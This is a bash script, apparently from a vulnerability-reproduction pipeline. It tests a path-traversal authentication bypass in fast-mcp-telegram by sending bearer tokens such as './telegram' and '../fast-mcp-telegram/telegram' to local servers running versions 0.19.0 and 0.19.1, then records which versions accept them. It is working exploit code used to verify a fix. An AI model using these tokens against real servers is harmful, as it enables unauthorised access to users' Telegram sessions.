#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$VARIANT_DIR/artifacts"
mkdir -p "$LOGS" "$VARIANT_DIR" "$ARTIFACTS"

# Use project cache venvs if prepared; otherwise fall back to local variant dir.
PROJECT_CACHE_DIR="$VARIANT_DIR/artifacts"
PCC="$ROOT/project_cache_context.json"
if [ -r "$PCC" ]; then
    CACHED_DIR=$(jq -r 'select(.prepared==true) | .project_cache_dir // ""' "$PCC" 2>/dev/null || true)
    if [ -n "$CACHED_DIR" ]; then
        PROJECT_CACHE_DIR="$CACHED_DIR"
    fi
fi
mkdir -p "$PROJECT_CACHE_DIR"

# Controlled HOME so the default session directory is deterministic.
export HOME="$VARIANT_DIR/fakehome"
SESSION_DIR="$HOME/.config/fast-mcp-telegram"
mkdir -p "$SESSION_DIR"
if [ ! -f "$SESSION_DIR/telegram.session" ]; then
    touch "$SESSION_DIR/telegram.session"
fi

VULN_VENV="$PROJECT_CACHE_DIR/venv_vuln"
FIXED_VENV="$PROJECT_CACHE_DIR/venv_fixed"

VULN_PORT=8002
FIXED_PORT=8003

HEALTH_RETRIES=30
HEALTH_SLEEP=0.2

# Kill any leftover fast-mcp-telegram processes from earlier runs.
pkill -f "fast-mcp-telegram" 2>/dev/null || true

install_version() {
    local venv="$1"
    local version="$2"
    if [ ! -d "$venv" ]; then
        python3 -m venv "$venv"
    fi
    if [ ! -f "$venv/bin/fast-mcp-telegram" ]; then
        "$venv/bin/pip" install --disable-pip-version-check "fast-mcp-telegram==$version" 2>&1 | tee -a "$LOGS/pip_${version}_variant.log"
    fi
}

wait_for_health() {
    local port="$1"
    local logfile="$2"
    local i=0
    while [ "$i" -lt "$HEALTH_RETRIES" ]; do
        if curl -sf http://127.0.0.1:"$port"/health >/dev/null 2>&1; then
            return 0
        fi
        sleep "$HEALTH_SLEEP"
        i=$((i+1))
    done
    echo "ERROR: server on port $port did not become healthy (see $logfile)" >&2
    cat "$logfile" >&2
    return 1
}

start_server() {
    local venv="$1"
    local port="$2"
    local logfile="$3"
    SERVER_MODE=http-auth \
    HOST=127.0.0.1 \
    PORT="$port" \
    SESSION_DIR="$SESSION_DIR" \
    "$venv/bin/fast-mcp-telegram" > "$logfile" 2>&1 &
    echo "$!"
}

fire_header() {
    local port="$1"
    local token="$2"
    local outfile="$3"
    local http_code
    http_code=$(curl -s -o "$outfile" -w '%{http_code}' \
        -X POST http://127.0.0.1:"$port"/v1/mcp \
        -H "Content-Type: application/json" \
        -H "Accept: application/json, text/event-stream" \
        -H "Authorization: Bearer $token" \
        -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}')
    echo "$http_code"
}

fire_url() {
    local port="$1"
    local token="$2"
    local outfile="$3"
    local http_code
    http_code=$(curl -s -o "$outfile" -w '%{http_code}' \
        -X POST http://127.0.0.1:"$port"/v1/url_auth/"$token"/mcp \
        -H "Content-Type: application/json" \
        -H "Accept: application/json, text/event-stream" \
        -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}')
    echo "$http_code"
}

install_version "$VULN_VENV" "0.19.0"
install_version "$FIXED_VENV" "0.19.1"

# --- Vulnerable attempt ---
VULN_PID=$(start_server "$VULN_VENV" "$VULN_PORT" "$LOGS/server_vuln_variant.log")
wait_for_health "$VULN_PORT" "$LOGS/server_vuln_variant.log"

RESERVED_STATUS=$(fire_header "$VULN_PORT" "telegram" "$ARTIFACTS/http_vuln_reserved.txt")
DOTSLASH_STATUS=$(fire_header "$VULN_PORT" "./telegram" "$ARTIFACTS/http_vuln_dot_slash.txt")
ORIGINAL_STATUS=$(fire_header "$VULN_PORT" "../fast-mcp-telegram/telegram" "$ARTIFACTS/http_vuln_original.txt")
NOAUTH_STATUS=$(fire_header "$VULN_PORT" "invalid-token" "$ARTIFACTS/http_vuln_invalid.txt")
URL_DOTSLASH_STATUS=$(fire_url "$VULN_PORT" "./telegram" "$ARTIFACTS/http_vuln_url_dot_slash.txt")

echo "Vulnerable server (0.19.0): reserved telegram -> $RESERVED_STATUS"
echo "Vulnerable server (0.19.0): ./telegram header -> $DOTSLASH_STATUS"
echo "Vulnerable server (0.19.0): ../fast-mcp-telegram/telegram header -> $ORIGINAL_STATUS"
echo "Vulnerable server (0.19.0): invalid token -> $NOAUTH_STATUS"
echo "Vulnerable server (0.19.0): ./telegram URL -> $URL_DOTSLASH_STATUS"

kill "$VULN_PID" 2>/dev/null || true
wait "$VULN_PID" 2>/dev/null || true

# --- Fixed attempt ---
FIXED_PID=$(start_server "$FIXED_VENV" "$FIXED_PORT" "$LOGS/server_fixed_variant.log")
wait_for_health "$FIXED_PORT" "$LOGS/server_fixed_variant.log"

FIXED_DOTSLASH_STATUS=$(fire_header "$FIXED_PORT" "./telegram" "$ARTIFACTS/http_fixed_dot_slash.txt")
FIXED_ORIGINAL_STATUS=$(fire_header "$FIXED_PORT" "../fast-mcp-telegram/telegram" "$ARTIFACTS/http_fixed_original.txt")
FIXED_URL_DOTSLASH_STATUS=$(fire_url "$FIXED_PORT" "./telegram" "$ARTIFACTS/http_fixed_url_dot_slash.txt")

echo "Fixed server (0.19.1): ./telegram header -> $FIXED_DOTSLASH_STATUS"
echo "Fixed server (0.19.1): ../fast-mcp-telegram/telegram header -> $FIXED_ORIGINAL_STATUS"
echo "Fixed server (0.19.1): ./telegram URL -> $FIXED_URL_DOTSLASH_STATUS"

kill "$FIXED_PID" 2>/dev/null || true
wait "$FIXED_PID" 2>/dev/null || true

# Determine outcome.
# A true bypass would require the variant to succeed on the fixed version.
# This script finds an alternate traversal alias that is blocked by the fix.
VARIANT_TRIGGERED=false
if [ "$RESERVED_STATUS" = "401" ] && [ "$DOTSLASH_STATUS" = "200" ] && [ "$NOAUTH_STATUS" = "401" ]; then
    VARIANT_TRIGGERED=true
fi
FIXED_BLOCKED=false
if [ "$FIXED_DOTSLASH_STATUS" = "401" ] && [ "$FIXED_ORIGINAL_STATUS" = "401" ]; then
    FIXED_BLOCKED=true
fi

CONFIRMED=false
if [ "$VARIANT_TRIGGERED" = "true" ] && [ "$FIXED_BLOCKED" = "true" ]; then
    CONFIRMED=true
fi

# Always capture the response bodies for the traversal evidence.
if [ -f "$ARTIFACTS/http_vuln_dot_slash.txt" ]; then
    echo "--- Vulnerable ./telegram traversal response (first 20 lines) ---"
    head -20 "$ARTIFACTS/http_vuln_dot_slash.txt" || true
fi

# --- Write runtime manifest ---
if [ "$CONFIRMED" = "true" ]; then
    jq -n \
        --arg entrypoint_kind "api_remote" \
        --arg entrypoint_detail "POST /v1/mcp with Bearer token ./telegram (alternate traversal alias)" \
        --argjson service_started true \
        --argjson healthcheck_passed true \
        --argjson target_path_reached true \
        --argjson runtime_stack '["fast-mcp-telegram","uvicorn","fastmcp"]' \
        --argjson proof_artifacts '["logs/server_vuln_variant.log","logs/server_fixed_variant.log","vuln_variant/artifacts/http_vuln_reserved.txt","vuln_variant/artifacts/http_vuln_dot_slash.txt","vuln_variant/artifacts/http_vuln_original.txt","vuln_variant/artifacts/http_vuln_invalid.txt","vuln_variant/artifacts/http_vuln_url_dot_slash.txt","vuln_variant/artifacts/http_fixed_dot_slash.txt","vuln_variant/artifacts/http_fixed_original.txt","vuln_variant/artifacts/http_fixed_url_dot_slash.txt"]' \
        --arg notes "Vulnerable 0.19.0 accepted ./telegram traversal token (HTTP 200) while rejecting the reserved token and invalid token; fixed 0.19.1 rejected ./telegram and the original traversal token (HTTP 401). This is an alternate trigger, not a bypass of the fix." \
        '{entrypoint_kind:$entrypoint_kind,entrypoint_detail:$entrypoint_detail,service_started:$service_started,healthcheck_passed:$healthcheck_passed,target_path_reached:$target_path_reached,runtime_stack:$runtime_stack,proof_artifacts:$proof_artifacts,notes:$notes}' \
        > "$VARIANT_DIR/runtime_manifest.json"
else
    jq -n \
        --arg entrypoint_kind "api_remote" \
        --arg entrypoint_detail "POST /v1/mcp with Bearer token ./telegram (alternate traversal alias)" \
        --argjson service_started true \
        --argjson healthcheck_passed true \
        --argjson target_path_reached false \
        --argjson runtime_stack '["fast-mcp-telegram","uvicorn","fastmcp"]' \
        --argjson proof_artifacts '["logs/server_vuln_variant.log","logs/server_fixed_variant.log","vuln_variant/artifacts/http_vuln_reserved.txt","vuln_variant/artifacts/http_vuln_dot_slash.txt","vuln_variant/artifacts/http_vuln_original.txt","vuln_variant/artifacts/http_vuln_invalid.txt","vuln_variant/artifacts/http_vuln_url_dot_slash.txt","vuln_variant/artifacts/http_fixed_dot_slash.txt","vuln_variant/artifacts/http_fixed_original.txt","vuln_variant/artifacts/http_fixed_url_dot_slash.txt"]' \
        --arg notes "Unexpected statuses: reserved=$RESERVED_STATUS dot_slash=$DOTSLASH_STATUS original=$ORIGINAL_STATUS invalid=$NOAUTH_STATUS fixed_dot_slash=$FIXED_DOTSLASH_STATUS fixed_original=$FIXED_ORIGINAL_STATUS" \
        '{entrypoint_kind:$entrypoint_kind,entrypoint_detail:$entrypoint_detail,service_started:$service_started,healthcheck_passed:$healthcheck_passed,target_path_reached:$target_path_reached,runtime_stack:$runtime_stack,proof_artifacts:$proof_artifacts,notes:$notes}' \
        > "$VARIANT_DIR/runtime_manifest.json"
fi

# This script finds an alternate trigger on the vulnerable version.
# The variant is NOT a bypass of 0.19.1, so we exit 1 per the pipeline contract.
if [ "$CONFIRMED" = "true" ]; then
    echo "Variant ./telegram reproduces on 0.19.0 and is blocked by 0.19.1. Not a true bypass."
    exit 1
else
    echo "Variant ./telegram did not reproduce as expected."
    exit 1
fi
